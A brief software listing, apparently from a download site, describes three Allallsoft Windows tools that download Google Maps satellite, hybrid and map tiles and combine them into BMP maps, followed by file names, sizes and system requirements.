 Google Satellite Maps Downloader — is a cute tool that help you to get small tile satellite images from google maps. All downloaded small images are saved on the disk. You can view downloaded maps by Satellite Viewer Or you can combine them into a big BMP map. It supports proxy server. And you can easily get the longitude and latitude of each downloaded small tile image.

Google Hybrid Maps Downloader — is a cute tool that help you to get small tile hybrid map images (satellite images with labels) from google maps. All downloaded small images are saved on the disk. You can view downloaded maps by Hybrid Maps Viewer Or you can combine them into a big BMP map. It supports proxy server. And you can easily get the longitude and latitude of each downloaded small tile image.

Google Maps Downloader — is a tool that help you to get small tile map images from Google Maps. All downloaded small images are saved on the disk. You can view downloaded maps by Map Viewer Or you can combine them into a big BMP map.
  File Name: Allallsoft.Google.Hybrid.Maps.Downloader.v7.1-BEAN
File Name: Allallsoft.Google.Maps.Downloader.v6.325-BEAN
File Name: Allallsoft.Google.Satellite.Maps.Downloader.v6.7-BEAN
Language: English
OS: Windows® 2000/XP/Vista/7
URL: http://www.allallsoft.com/
File Size: 1.77-Mb / Hybrid Maps
File Size: 1.33-Mb / Google Maps
File Size: 1.27-Mb / Satellite Maps